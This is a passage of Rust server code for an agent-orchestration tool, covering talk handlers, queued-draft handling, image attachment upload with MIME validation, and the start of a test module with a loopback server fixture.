5868 let thinking = ui.is_thinking(&talk.id);
5869 Ok(TalkView::new(talk, thinking))
5870 })
5871 .await?;
5872 Ok((StatusCode::CREATED, Json(view)))
5873}
5874
5875async fn talk_detail(
5877 State(ui): State<Arc<Ui>>,
5878 Path(id): Path<String>,
5879) -> ApiResult<Json<TalkDetailView>> {
5880 blocking(move || {
5881 let id = resolve_talk(&ui.talks, &id)?;
5882 let talk = ui.talks.get(&id)?;
5883 let thinking = ui.is_thinking(&talk.id);
5884 let tasks = talk::tasks_of(&ui.queue, &talk.id)
5885 .into_iter()
5886 .map(TaskView::from)
5887 .collect();
5888 let roster = Config::discover(&talk.repo, None)
5889 .map(|(cfg, _)| {
5890 cfg.agents
5891 .iter()
5892 .map(|a| RosterEntry {
5893 id: a.id.clone(),
5894 kind: a.kind,
5895 runnable: agent::installed(a),
5896 })
5897 .collect()
5898 })
5899 .unwrap_or_default();
5900 Ok(Json(TalkDetailView {
5901 view: TalkView::new(talk, thinking),
5902 tasks,
5903 roster,
5904 }))
5905 })
5906 .await
5907}
5908
5909#[derive(Debug, Default, Deserialize)]
5915#[serde(default, deny_unknown_fields)]
5916struct NewTalkTurn {
5917 text: String,
5918 attachments: Vec<String>,
5919}
5920
5921#[derive(Debug, Deserialize)]
5922#[serde(deny_unknown_fields)]
5923struct EditTalkPending {
5924 text: String,
5925 expected_text: String,
5926 expected_attachments: Vec<String>,
5927}
5928
5929#[derive(Debug, Deserialize)]
5930#[serde(deny_unknown_fields)]
5931struct ClearTalkPending {
5932 expected_text: String,
5933 expected_attachments: Vec<String>,
5934}
5935
5936async fn talk_say(
5948 State(ui): State<Arc<Ui>>,
5949 Path(id): Path<String>,
5950 body: std::result::Result<Json<NewTalkTurn>, JsonRejection>,
5951) -> ApiResult<(StatusCode, Json<TalkView>)> {
5952 let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
5953 if body.text.trim().is_empty() && body.attachments.is_empty() {
5954 return Err(ApiError::bad_request("say something"));
5955 }
5956
5957 let id = {
5958 let ui = Arc::clone(&ui);
5959 let asked = id.clone();
5960 blocking(move || resolve_talk(&ui.talks, &asked)).await?
5961 };
5962 {
5966 let ui = Arc::clone(&ui);
5967 let id = id.clone();
5968 blocking(move || {
5969 let talk = ui.talks.get(&id)?;
5970 if !talk.status.open() {
5971 return Err(ApiError::conflict(format!(
5972 "talk {} is {} and takes no more turns",
5973 talk.short(),
5974 talk.status.as_str()
5975 )));
5976 }
5977 Ok(())
5978 })
5979 .await?;
5980 }
5981
5982 let attachments = {
5987 let ui = Arc::clone(&ui);
5988 let id = id.clone();
5989 let ids = body.attachments.clone();
5990 blocking(move || {
5991 ids.into_iter()
5992 .map(|att_id| {
5993 ui.talks.attachment_meta(&id, &att_id)?.ok_or_else(|| {
5994 ApiError::bad_request(format!("unknown attachment `{att_id}`"))
5995 })
5996 })
5997 .collect::<ApiResult<Vec<talk::Attachment>>>()
5998 })
5999 .await?
6000 };
6001
6002 let start = {
6007 let ui = Arc::clone(&ui);
6008 let id = id.clone();
6009 blocking(move || ui.begin_talk_turn_unless_pending(&id)).await?
6010 };
6011 let turn_guard = match start {
6012 TalkTurnStart::Claimed(turn_guard) => turn_guard,
6013 TalkTurnStart::Pending => {
6014 return Err(ApiError::conflict(
6015 "a queued draft is waiting; resume it, edit it, or clear it before sending another message",
6016 ));
6017 }
6018 TalkTurnStart::Busy => {
6019 let (tx, rx) = tokio::sync::oneshot::channel();
6035 tokio::spawn({
6036 let ui = Arc::clone(&ui);
6037 let id = id.clone();
6038 let said = body.text.clone();
6039 async move {
6040 let written = blocking({
6041 let ui = Arc::clone(&ui);
6042 let id = id.clone();
6043 move || {
6044 let mut talk = ui.talks.get(&id)?;
6045 #[cfg(test)]
6050 if let Some(gate) = ui
6051 .busy_queue_gate
6052 .lock()
6053 .unwrap_or_else(PoisonError::into_inner)
6054 .take()
6055 {
6056 let _ = gate.reached.send(());
6057 let _ = gate.release.recv();
6058 }
6059 if let Err(error) =
6060 talk::queue(&mut talk, &ui.talks, &said, attachments)
6061 {
6062 if let Ok(fresh) = ui.talks.get(&id) {
6063 if !fresh.status.open() {
6064 return Err(ApiError::conflict(format!(
6065 "talk {} is {} and takes no more turns",
6066 fresh.short(),
6067 fresh.status.as_str()
6068 )));
6069 }
6070 }
6071 return Err(ApiError::from(error));
6072 }
6073 let claim = match ui.begin_queued_talk_turn(&id)? {
6084 Some(turn_guard) => {
6085 let (cfg, _) = Config::discover(&talk.repo, None)?;
6086 Some((talk.clone(), cfg, turn_guard))
6087 }
6088 None => None,
6089 };
6090 let thinking = ui.is_thinking(&id);
6091 Ok((TalkView::new(talk, thinking), claim))
6092 }
6093 })
6094 .await;
6095 let (view, reclaimed) = match written {
6096 Ok(pair) => pair,
6097 Err(e) => {
6098 let _ = tx.send(Err(e));
6103 return;
6104 }
6105 };
6106 let _ = tx.send(Ok(view));
6109 if let Some((talk, cfg, turn_guard)) = reclaimed {
6110 let talks = ui.talks.clone();
6111 drain_loop(talk, talks, cfg, id, turn_guard).await;
6112 }
6113 }
6114 });
6115 let view = rx
6116 .await
6117 .map_err(|_| ApiError::internal("the talk turn task ended without answering"))??;
6118 return Ok((StatusCode::ACCEPTED, Json(view)));
6119 }
6120 };
6121
6122 let (talk, cfg) = {
6123 let ui = Arc::clone(&ui);
6124 let id = id.clone();
6125 blocking(move || {
6126 let talk = ui.talks.get(&id)?;
6127 let (cfg, _) = Config::discover(&talk.repo, None)?;
6128 Ok((talk, cfg))
6129 })
6130 .await?
6131 };
6132
6133 let talks = ui.talks.clone();
6134 let (tx, rx) = tokio::sync::oneshot::channel();
6149 tokio::spawn({
6150 let ui = Arc::clone(&ui);
6151 let talks = talks.clone();
6152 let id = id.clone();
6153 let said = body.text.clone();
6154 let mut talk = talk.clone();
6155 async move {
6156 let recorded = blocking({
6157 let talks = talks.clone();
6158 move || {
6159 if let Err(error) = talk::record(&mut talk, &talks, &said, attachments) {
6160 if let Ok(fresh) = talks.get(&talk.id) {
6161 if !fresh.status.open() {
6162 return Err(ApiError::conflict(format!(
6163 "talk {} is {} and takes no more turns",
6164 fresh.short(),
6165 fresh.status.as_str()
6166 )));
6167 }
6168 }
6169 return Err(ApiError::from(error));
6170 }
6171 Ok((said.trim().to_owned(), talk))
6177 }
6178 })
6179 .await;
6180 let (text, mut talk) = match recorded {
6181 Ok(pair) => pair,
6182 Err(e) => {
6183 let _ = tx.send(Err(e));
6187 return;
6188 }
6189 };
6190 let queued = talk.clone();
6191 let thinking = ui.is_thinking(&id);
6192 let _ = tx.send(Ok((queued, thinking)));
6195
6196 if let Err(e) = talk::respond(&mut talk, &talks, &cfg, &text).await {
6197 tracing::warn!("talk {id} turn failed: {e:#}");
6201 }
6202 drain_loop(talk, talks, cfg, id, turn_guard).await;
6205 }
6206 });
6207
6208 let (queued, thinking) = rx
6209 .await
6210 .map_err(|_| ApiError::internal("the talk turn task ended without answering"))??;
6211
6212 Ok((StatusCode::ACCEPTED, Json(TalkView::new(queued, thinking))))
6214}
6215
6216async fn talk_pending_resume(
6220 State(ui): State<Arc<Ui>>,
6221 Path(id): Path<String>,
6222) -> ApiResult<(StatusCode, Json<TalkView>)> {
6223 let id = {
6224 let ui = Arc::clone(&ui);
6225 let asked = id.clone();
6226 blocking(move || resolve_talk(&ui.talks, &asked)).await?
6227 };
6228 let Some(turn_guard) = ui.begin_talk_turn(&id)? else {
6229 return Err(ApiError::conflict(
6230 "a talk turn is already running; the queued draft will be handled by it",
6231 ));
6232 };
6233 let (talk, cfg) = {
6234 let ui = Arc::clone(&ui);
6235 let id = id.clone();
6236 blocking(move || {
6237 let talk = ui.talks.get(&id)?;
6238 if !talk.status.open() {
6239 return Err(ApiError::conflict(format!(
6240 "talk {} is {} and takes no more turns",
6241 talk.short(),
6242 talk.status.as_str()
6243 )));
6244 }
6245 if talk.pending.is_empty() && talk.pending_attachments.is_empty() {
6246 return Err(ApiError::conflict("there is no queued draft to resume"));
6247 }
6248 let (cfg, _) = Config::discover(&talk.repo, None)?;
6249 Ok((talk, cfg))
6250 })
6251 .await?
6252 };
6253 let view = TalkView::new(talk.clone(), true);
6254 let talks = ui.talks.clone();
6255 tokio::spawn(drain_loop(talk, talks, cfg, id, turn_guard));
6256 Ok((StatusCode::ACCEPTED, Json(view)))
6257}
6258
6259async fn drain_loop(mut talk: Talk, talks: Talks, cfg: Config, id: String, turn: TalkTurnGuard) {
6275 let live_set = Arc::clone(&turn.turns);
6276 let mut turn = Some(turn);
6284 loop {
6285 let observed = live_set
6289 .lock()
6290 .unwrap_or_else(PoisonError::into_inner)
6291 .queued
6292 .get(&id)
6293 .copied()
6294 .unwrap_or(0);
6295 let drained = blocking({
6296 let talks = talks.clone();
6297 move || {
6298 let result = talk::drain(&mut talk, &talks);
6299 Ok((talk, result))
6300 }
6301 })
6302 .await;
6303 let (next_talk, result) = match drained {
6304 Ok(drained) => drained,
6305 Err(e) => {
6306 tracing::warn!(
6307 status = %e.status,
6308 message = %e.message,
6309 "talk {id} could not start queued-text drain"
6310 );
6311 let mut live = live_set.lock().unwrap_or_else(PoisonError::into_inner);
6312 turn.take()
6313 .expect("held for the whole loop until released here")
6314 .release(&mut live);
6315 break;
6316 }
6317 };
6318 talk = next_talk;
6319 let drained = match result {
6320 Ok(Some(drained)) => drained,
6321 Ok(None) => {
6322 let mut live = live_set.lock().unwrap_or_else(PoisonError::into_inner);
6323 if live.queued.get(&id).copied().unwrap_or(0) != observed {
6324 continue;
6325 }
6326 turn.take()
6327 .expect("held for the whole loop until released here")
6328 .release(&mut live);
6329 break;
6330 }
6331 Err(e) => {
6332 tracing::warn!("talk {id} could not drain queued text: {e:#}");
6333 let mut live = live_set.lock().unwrap_or_else(PoisonError::into_inner);
6334 turn.take()
6335 .expect("held for the whole loop until released here")
6336 .release(&mut live);
6337 break;
6338 }
6339 };
6340 if let Err(e) = talk::respond(&mut talk, &talks, &cfg, &drained).await {
6341 tracing::warn!("talk {id} turn failed: {e:#}");
6342 }
6343 }
6344}
6345
6346async fn talk_pending_clear(
6348 State(ui): State<Arc<Ui>>,
6349 Path(id): Path<String>,
6350 body: std::result::Result<Json<ClearTalkPending>, JsonRejection>,
6351) -> ApiResult<Json<TalkView>> {
6352 let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
6353 blocking(move || {
6354 let id = resolve_talk(&ui.talks, &id)?;
6355 let mut talk = ui.talks.get(&id)?;
6356 if !talk.status.open() {
6357 return Err(ApiError::conflict(format!(
6358 "talk {} is {} and takes no more turns",
6359 talk.short(),
6360 talk.status.as_str()
6361 )));
6362 }
6363 if !talk::clear_pending_if_matches(
6364 &mut talk,
6365 &ui.talks,
6366 &body.expected_text,
6367 &body.expected_attachments,
6368 )? {
6369 return Err(ApiError::conflict(
6370 "queued message changed; reload it before clearing",
6371 ));
6372 }
6373 let thinking = ui.is_thinking(&talk.id);
6374 Ok(Json(TalkView::new(talk, thinking)))
6375 })
6376 .await
6377}
6378
6379async fn talk_pending_edit(
6383 State(ui): State<Arc<Ui>>,
6384 Path(id): Path<String>,
6385 body: std::result::Result<Json<EditTalkPending>, JsonRejection>,
6386) -> ApiResult<Json<TalkView>> {
6387 let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
6388 let (view, reclaimed) = blocking({
6389 let ui = Arc::clone(&ui);
6390 move || {
6391 let id = resolve_talk(&ui.talks, &id)?;
6392 let mut talk = ui.talks.get(&id)?;
6393 if !talk.status.open() {
6394 return Err(ApiError::conflict(format!(
6395 "talk {} is {} and takes no more turns",
6396 talk.short(),
6397 talk.status.as_str()
6398 )));
6399 }
6400 if !talk::edit_pending_text(
6401 &mut talk,
6402 &ui.talks,
6403 &body.text,
6404 &body.expected_text,
6405 &body.expected_attachments,
6406 )? {
6407 return Err(ApiError::conflict(
6408 "queued message changed; reload it before editing",
6409 ));
6410 }
6411 let claim = match ui.begin_queued_talk_turn(&id)? {
6412 Some(turn_guard) => {
6413 let (cfg, _) = Config::discover(&talk.repo, None)?;
6414 Some((talk.clone(), cfg, id.clone(), turn_guard))
6415 }
6416 None => None,
6417 };
6418 let thinking = ui.is_thinking(&id);
6419 Ok((TalkView::new(talk, thinking), claim))
6420 }
6421 })
6422 .await?;
6423 if let Some((talk, cfg, id, turn_guard)) = reclaimed {
6424 let talks = ui.talks.clone();
6425 tokio::spawn(drain_loop(talk, talks, cfg, id, turn_guard));
6426 }
6427 Ok(Json(view))
6428}
6429
6430#[derive(Debug, Deserialize)]
6432struct TalkAgent {
6433 agent: String,
6434}
6435
6436async fn talk_agent(
6441 State(ui): State<Arc<Ui>>,
6442 Path(id): Path<String>,
6443 Json(body): Json<TalkAgent>,
6444) -> ApiResult<Json<TalkView>> {
6445 let id = {
6446 let ui = Arc::clone(&ui);
6447 blocking(move || resolve_talk(&ui.talks, &id)).await?
6448 };
6449 let repo = {
6450 let ui = Arc::clone(&ui);
6451 let id = id.clone();
6452 blocking(move || Ok(ui.talks.get(&id)?.repo)).await?
6453 };
6454 let cfg = config_for(&repo).await?;
6455 let Some(turn_guard) = ui.begin_talk_turn(&id)? else {
6456 return Err(ApiError::conflict(
6457 "a talk turn is running; change the agent once it has answered",
6458 ));
6459 };
6460 let switched = {
6461 let ui = Arc::clone(&ui);
6462 let id = id.clone();
6463 let cfg = cfg.clone();
6464 blocking(move || {
6465 let spec = agent::pick(&cfg.agents, Some(&body.agent), &agent::installed)
6466 .map_err(ApiError::bad_request_from)?;
6467 let mut talk = ui.talks.get(&id)?;
6468 if !talk.status.open() {
6469 return Err(ApiError::conflict(format!(
6470 "talk {} is {} and takes no more turns",
6471 talk.short(),
6472 talk.status.as_str()
6473 )));
6474 }
6475 talk::switch_agent(&mut talk, &ui.talks, &spec)?;
6476 Ok(talk)
6477 })
6478 .await
6479 };
6480 let fresh = {
6485 let ui = Arc::clone(&ui);
6486 let id = id.clone();
6487 blocking(move || Ok(ui.talks.get(&id)?)).await
6488 };
6489 let draining = match fresh {
6490 Ok(talk) => {
6491 let draining = talk.status.open()
6492 && (!talk.pending.is_empty() || !talk.pending_attachments.is_empty());
6493 let talks = ui.talks.clone();
6494 tokio::spawn(drain_loop(talk, talks, cfg, id, turn_guard));
6495 draining
6496 }
6497 Err(_) => false,
6498 };
6499 let talk = switched?;
6500 Ok(Json(TalkView::new(talk, draining)))
6501}
6502
6503async fn talk_close(
6505 State(ui): State<Arc<Ui>>,
6506 Path(id): Path<String>,
6507) -> ApiResult<Json<TalkView>> {
6508 blocking(move || {
6509 let id = resolve_talk(&ui.talks, &id)?;
6510 let mut talk = ui.talks.get(&id)?;
6511 talk::close(&mut talk, &ui.talks)?;
6512 let thinking = ui.is_thinking(&talk.id);
6513 Ok(Json(TalkView::new(talk, thinking)))
6514 })
6515 .await
6516}
6517
6518async fn talk_reopen(
6520 State(ui): State<Arc<Ui>>,
6521 Path(id): Path<String>,
6522) -> ApiResult<Json<TalkView>> {
6523 blocking(move || {
6524 let id = resolve_talk(&ui.talks, &id)?;
6525 let mut talk = ui.talks.get(&id)?;
6526 talk::reopen(&mut talk, &ui.talks)?;
6527 let thinking = ui.is_thinking(&talk.id);
6528 Ok(Json(TalkView::new(talk, thinking)))
6529 })
6530 .await
6531}
6532
6533async fn talk_delete(State(ui): State<Arc<Ui>>, Path(id): Path<String>) -> ApiResult<StatusCode> {
6543 blocking(move || {
6544 let id = resolve_talk(&ui.talks, &id)?;
6545 ui.talks.remove(&id)?;
6546 Ok(StatusCode::NO_CONTENT)
6547 })
6548 .await
6549}
6550
6551fn resolve_talk(store: &Talks, id: &str) -> ApiResult<String> {
6553 pick(store.list().into_iter().map(|t| t.id).collect(), id, "talk")
6554}
6555
6556async fn talk_attachment_post(
6559 State(ui): State<Arc<Ui>>,
6560 Path(id): Path<String>,
6561 headers: HeaderMap,
6562 body: Bytes,
6563) -> ApiResult<(StatusCode, Json<talk::Attachment>)> {
6564 let mime = validate_attachment(&headers, &body)?;
6565 let name = filename_header(&headers);
6566 let data = body.to_vec();
6567 blocking(move || {
6568 let id = resolve_talk(&ui.talks, &id)?;
6569 let att = ui.talks.put_attachment(&id, mime, &name, &data)?;
6570 Ok((StatusCode::CREATED, Json(att)))
6571 })
6572 .await
6573}
6574
6575async fn talk_attachment_get(
6578 State(ui): State<Arc<Ui>>,
6579 Path((id, att)): Path<(String, String)>,
6580) -> ApiResult<Response> {
6581 blocking(move || {
6582 let id = resolve_talk(&ui.talks, &id)?;
6583 let Some((meta, data)) = ui.talks.read_attachment(&id, &att)? else {
6584 return Err(ApiError::not_found(format!(
6585 "talk {id} has no attachment `{att}`"
6586 )));
6587 };
6588 Ok(attachment_response(&meta.mime, data))
6589 })
6590 .await
6591}
6592
6593fn validate_attachment(headers: &HeaderMap, data: &[u8]) -> ApiResult<&'static str> {
6604 if data.len() > ATTACHMENT_MAX_BYTES {
6605 return Err(ApiError::bad_request(format!(
6606 "attachment is {} bytes, over the {} MiB limit",
6607 data.len(),
6608 ATTACHMENT_MAX_BYTES / (1024 * 1024)
6609 ))
6610 .with_status(StatusCode::PAYLOAD_TOO_LARGE));
6611 }
6612 if data.is_empty() {
6613 return Err(ApiError::bad_request("attachment is empty"));
6614 }
6615 let declared = declared_mime(headers)?;
6616 match sniffed_mime(data) {
6617 Some(sniffed) if sniffed == declared => Ok(declared),
6618 Some(sniffed) => Err(ApiError::bad_request(format!(
6619 "Content-Type said `{declared}` but the file's own bytes look like `{sniffed}`"
6620 ))),
6621 None => Err(ApiError::bad_request(
6622 "the file's bytes do not match any accepted image format",
6623 )),
6624 }
6625}
6626
6627fn declared_mime(headers: &HeaderMap) -> ApiResult<&'static str> {
6631 let raw = headers
6632 .get(header::CONTENT_TYPE)
6633 .and_then(|v| v.to_str().ok())
6634 .unwrap_or("")
6635 .split(';')
6636 .next()
6637 .unwrap_or("")
6638 .trim()
6639 .to_ascii_lowercase();
6640 ATTACHMENT_MIME_WHITELIST
6641 .iter()
6642 .find(|&&m| m == raw)
6643 .copied()
6644 .ok_or_else(|| {
6645 if raw == "image/svg+xml" {
6646 ApiError::bad_request(
6647 "SVG is not accepted: it can carry active content (e.g. a <script>), \
6648 not just a picture",
6649 )
6650 } else if raw.is_empty() {
6651 ApiError::bad_request("Content-Type is required for an attachment upload")
6652 } else {
6653 ApiError::bad_request(format!(
6654 "`{raw}` is not an accepted attachment type; use image/png, image/jpeg, \
6655 image/gif or image/webp"
6656 ))
6657 }
6658 })
6659}
6660
6661fn sniffed_mime(data: &[u8]) -> Option<&'static str> {
6664 if data.starts_with(b"\x89PNG\r\n\x1a\n") {
6665 Some("image/png")
6666 } else if data.starts_with(b"\xff\xd8\xff") {
6667 Some("image/jpeg")
6668 } else if data.starts_with(b"GIF87a") || data.starts_with(b"GIF89a") {
6669 Some("image/gif")
6670 } else if data.len() >= 12 && &data[0..4] == b"RIFF" && &data[8..12] == b"WEBP" {
6671 Some("image/webp")
6672 } else {
6673 None
6674 }
6675}
6676
6677fn filename_header(headers: &HeaderMap) -> String {
6683 headers
6684 .get(FILENAME_HEADER)
6685 .and_then(|v| v.to_str().ok())
6686 .map(str::trim)
6687 .filter(|s| !s.is_empty())
6688 .unwrap_or("attachment")
6689 .to_owned()
6690}
6691
6692fn attachment_response(mime: &str, body: Vec<u8>) -> Response {
6699 let content_type = ATTACHMENT_MIME_WHITELIST
6700 .iter()
6701 .find(|&&m| m == mime)
6702 .copied()
6703 .unwrap_or("application/octet-stream");
6704 (
6705 [
6706 (header::CONTENT_TYPE, content_type),
6707 (header::X_CONTENT_TYPE_OPTIONS, "nosniff"),
6708 ],
6709 body,
6710 )
6711 .into_response()
6712}
6713
6714async fn config_for(repo: &FsPath) -> ApiResult<Config> {
6722 let repo = repo.to_path_buf();
6723 blocking(move || {
6724 let (cfg, _) = Config::discover(&repo, None)?;
6725 Ok(cfg)
6726 })
6727 .await
6728}
6729
6730fn pick(ids: Vec<String>, prefix: &str, what: &str) -> ApiResult<String> {
6736 let mut hits = ids
6737 .into_iter()
6738 .filter(|id| id.starts_with(prefix) || id.ends_with(prefix));
6739 match (hits.next(), hits.next()) {
6740 (Some(one), None) => Ok(one),
6741 (None, _) => Err(ApiError::not_found(format!("no {what} matches `{prefix}`"))),
6742 (Some(a), Some(b)) => Err(ApiError::bad_request(format!(
6743 "`{prefix}` matches more than one {what}, including {a} and {b}"
6744 ))),
6745 }
6746}
6747
6748#[cfg(test)]
6749mod tests {
6750
6751 #[test]
6752 fn holder_reads_the_lease_not_the_record() {
6753 let mut q = Question::new(
6754 "run".to_owned(),
6755 "implement".to_owned(),
6756 "impl-A".to_owned(),
6757 "which?".to_owned(),
6758 String::new(),
6759 Vec::new(),
6760 );
6761 assert_eq!(holder_of(&q, None), None, "no `magi ask` filed it");
6762 q.cwd = Some("/tmp".to_owned());
6763 assert_eq!(holder_of(&q, None), Some("nobody"));
6764 let beat = |kind, ago: i64| ask::Lease {
6765 kind,
6766 pid: 1,
6767 beat_at: jiff::Timestamp::from_second(jiff::Timestamp::now().as_second() - ago)
6768 .unwrap(),
6769 };
6770 let fresh = beat(ask::WaiterKind::Asker, 1);
6771 assert_eq!(holder_of(&q, Some(&fresh)), Some("asker"));
6772 let daemon = beat(ask::WaiterKind::Daemon, 1);
6773 assert_eq!(holder_of(&q, Some(&daemon)), Some("daemon"));
6774 let stale = beat(ask::WaiterKind::Asker, 3600);
6775 assert_eq!(holder_of(&q, Some(&stale)), Some("nobody"));
6776
6777 let mut c = Question::new(
6780 "task".to_owned(),
6781 crate::conduct::NODE.to_owned(),
6782 "conduct".to_owned(),
6783 "which?".to_owned(),
6784 String::new(),
6785 Vec::new(),
6786 );
6787 assert_eq!(holder_of(&c, None), Some("nobody"));
6788 c.cwd = Some("/tmp".to_owned());
6789 c.deputy = Some(ask::Deputy::new("brief".to_owned()));
6790 assert_eq!(holder_of(&c, Some(&fresh)), Some("deputy"));
6791 let deputy = beat(ask::WaiterKind::Deputy, 1);
6792 assert_eq!(holder_of(&c, Some(&deputy)), Some("deputy"));
6793 assert_eq!(holder_of(&c, Some(&stale)), Some("nobody"));
6794
6795 let mut r = Question::new(
6797 String::new(),
6798 crate::bump::NOTICE_NODE.to_owned(),
6799 "release-watch".to_owned(),
6800 "stuck?".to_owned(),
6801 String::new(),
6802 vec!["hold".to_owned()],
6803 );
6804 assert_eq!(holder_of(&r, None), Some("nobody"));
6805 r.deputy = Some(ask::Deputy::new("brief".to_owned()));
6806 assert_eq!(holder_of(&r, Some(&fresh)), Some("deputy"));
6807 r.deputy = None;
6809 r.seat = "bump".to_owned();
6810 assert_eq!(holder_of(&r, None), None);
6811
6812 let mut m = Question::new(
6815 "run".to_owned(),
6816 crate::land::APPROVAL_NODE.to_owned(),
6817 "land".to_owned(),
6818 "merge?".to_owned(),
6819 String::new(),
6820 Vec::new(),
6821 );
6822 assert_eq!(holder_of(&m, None), Some("nobody"));
6823 assert_eq!(
6824 holder_of(&m, Some(&fresh)),
6825 Some("nobody"),
6826 "a lease with no deputy is not a listener"
6827 );
6828 m.deputy = Some(ask::Deputy::new("brief".to_owned()));
6829 assert_eq!(holder_of(&m, Some(&deputy)), Some("deputy"));
6830 assert_eq!(holder_of(&m, Some(&stale)), Some("nobody"));
6831 assert_eq!(holder_of(&m, None), Some("nobody"));
6832 }
6833
6834 fn stub_config() -> Config {
6835 Config {
6838 agents: vec![crate::config::AgentSpec {
6839 id: "stub".to_owned(),
6840 kind: AgentKind::Command,
6841 model: None,
6842 command: vec!["true".to_owned()],
6843 extra_args: Vec::new(),
6844 env: Default::default(),
6845 prompt_delivery: None,
6846 }],
6847 ..Config::default()
6848 }
6849 }
6850
6851 fn plain_question(seat: &str) -> Question {
6852 Question::new(
6853 String::new(),
6854 "n".to_owned(),
6855 seat.to_owned(),
6856 "s".to_owned(),
6857 String::new(),
6858 Vec::new(),
6859 )
6860 }
6861
6862 #[test]
6863 fn deputies_enabled_follows_the_config() {
6864 let on = stub_config();
6865 assert!(crate::deputy::can_start(Some(&on), ""));
6866 assert!(crate::deputy::can_start(Some(&on), "stub"));
6867 let mut off = on.clone();
6868 off.daemon.max_deputies = 0;
6869 assert!(!crate::deputy::can_start(Some(&off), ""));
6870 let mut empty = on;
6871 empty.agents.clear();
6872 assert!(!crate::deputy::can_start(Some(&empty), ""));
6873 assert!(!crate::deputy::can_start(None, ""));
6874 }
6875
6876 #[test]
6877 fn question_views_load_the_config_once() {
6878 let dir = TempDir::new().unwrap();
6879 let store = ask::Questions::at(dir.path().to_path_buf());
6880 let mut with_deputy = plain_question("b");
6881 with_deputy.deputy = Some(ask::Deputy::new("brief".to_owned()));
6882 let qs = vec![plain_question("a"), with_deputy, plain_question("c")];
6883
6884 let calls = std::cell::Cell::new(0usize);
6885 let views = question_views(qs.clone(), &store, || {
6886 calls.set(calls.get() + 1);
6887 Some(stub_config())
6888 });
6889 assert_eq!(calls.get(), 1);
6890 assert_eq!(views.len(), 3);
6891 for (v, q) in views.iter().zip(&qs) {
6892 assert_eq!(
6893 v.deputies_enabled,
6894 crate::deputy::can_start(Some(&stub_config()), crate::deputy::agent_of(q))
6895 );
6896 }
6897
6898 let views = question_views(qs, &store, || None);
6899 assert!(views.iter().all(|v| !v.deputies_enabled));
6900
6901 let calls = std::cell::Cell::new(0usize);
6902 let views = question_views(Vec::new(), &store, || {
6903 calls.set(calls.get() + 1);
6904 None
6905 });
6906 assert!(views.is_empty());
6907 assert_eq!(calls.get(), 0);
6908 }
6909
6910 use pretty_assertions::assert_eq;
6911 use serde_json::Value;
6912 use tempfile::TempDir;
6913 use tokio::io::{AsyncReadExt as _, AsyncWriteExt as _};
6914
6915 use super::*;
6916 use crate::config::Config;
6917 use crate::queue::Source;
6918
6919 const SETTLE_STEPS: usize = 3_000;
6930
6931 struct Fixture {
6937 home: TempDir,
6938 addr: SocketAddr,
6939 }
6940
6941 impl Fixture {
6942 async fn start() -> Self {
6943 Self::with_loop(launch_idle).await
6944 }
6945
6946 async fn with_loop(launch: Launch) -> Self {
6948 let home = TempDir::new().expect("temp home");
6949 let addr = Self::serve(home.path(), PathBuf::from("/repo/magi"), launch, None).await;
6950 Self { home, addr }
6951 }
6952
6953 async fn with_repo(repo: PathBuf) -> Self {
6957 let home = TempDir::new().expect("temp home");
6958 let addr = Self::serve(home.path(), repo, launch_idle, None).await;
6959 Self { home, addr }
6960 }
6961
6962 async fn with_repo_and_machine(repo: PathBuf, machine: PathBuf) -> Self {
6965 let home = TempDir::new().expect("temp home");
6966 let addr = Self::serve(home.path(), repo, launch_idle, Some(machine)).await;
6967 Self { home, addr }
6968 }
6969
6970 async fn serve(
6971 home: &FsPath,
6972 repo: PathBuf,
6973 launch: Launch,
6974 machine: Option<PathBuf>,
6975 ) -> SocketAddr {
6976 let queue = Queue::at(home.join("queue"));
6977 let runs = home.join("runs");
6978 std::fs::create_dir_all(&runs).expect("runs dir");
6979 let worktrees = home.join("wt").join("magi");
6980 std::fs::create_dir_all(&worktrees).expect("worktrees dir");
6981 let ui = Ui::new(
6982 queue,
6983 Questions::at(home.join("questions")),
6984 Talks::at(home.join("talks")),
6985 runs,
6986 home.to_path_buf(),
6987 repo,
6988 )
6989 .with_worktrees_root(worktrees)
6990 .with_machine_config(machine)
6991 .with_launch(launch);
6992 let listener = tokio::net::TcpListener::bind((Ipv4Addr::LOCALHOST, 0))
6993 .await
6994 .expect("bind loopback");
6995 let addr = listener.local_addr().expect("local addr");
6996 tokio::spawn(async move {
6997 let _ = axum::serve(listener, ui.router()).await;
6998 });
6999 addr
7000 }
7001
7002 fn queue(&self) -> Queue {
7003 Queue::at(self.home.path().join("queue"))
7004 }
7005
7006 fn questions(&self) -> Questions {
7007 Questions::at(self.home.path().join("questions"))
7008 }
7009
7010 fn talks(&self) -> Talks {
7011 Talks::at(self.home.path().join("talks"))
7012 }
7013
7014 fn runs(&self) -> PathBuf {
7015 self.home.path().join("runs")
7016 }
7017
7018 async fn get(&self, path: &str) -> Res {
7019 request(self.addr, "GET", path, None).await
7020 }
7021
7022 async fn head(&self, path: &str) -> Res {
7027 request(self.addr, "HEAD", path, None).await
7028 }
7029
7030 async fn post(&self, path: &str, body: Option<&str>) -> Res {
7031 request(self.addr, "POST", path, body).await
7032 }
7033
7034 async fn get_with(&self, path: &str, extra: &[(&str, &str)]) -> Res {
7035 request_with(self.addr, "GET", path, None, extra).await
7036 }
7037
7038 async fn delete(&self, path: &str) -> Res {
7039 request(self.addr, "DELETE", path, None).await
7040 }
7041
7042 async fn put(&self, path: &str, body: &str) -> Res {
7043 request(self.addr, "PUT", path, Some(body)).await
7044 }
7045
7046 async fn post_bytes(&self, path: &str, headers: &[(&str, &str)], body: &[u8]) -> Res {
7048 request_bytes(self.addr, path, headers, body).await
7049 }
7050 }
7051
7052 struct Res {
7053 status: u16,
7054 headers: String,
7055 head: String,
7060 body: String,
7061 bytes: Vec<u8>,
7065 }
7066
7067 impl Res {
7068 fn json(&self) -> Value {
7069 serde_json::from_str(&self.body)
7070 .unwrap_or_else(|e| panic!("body is not json ({e}): {}", self.body))
7071 }
7072
7073 fn header(&self, name: &str) -> Option<&str> {
7075 self.head.lines().find_map(|line| {
7076 let (key, value) = line.split_once(':')?;
7077 key.trim()
7078 .eq_ignore_ascii_case(name)
7079 .then(|| value.trim_start().trim_end_matches('\r'))
7080 })
7081 }
7082 }
7083
7084 async fn request(addr: SocketAddr, method: &str, path: &str, body: Option<&str>) -> Res {
7087 request_with(addr, method, path, body, &[]).await
7088 }
7089
7090 async fn request_with(
7094 addr: SocketAddr,
7095 method: &str,
7096 path: &str,
7097 body: Option<&str>,
7098 extra: &[(&str, &str)],
7099 ) -> Res {
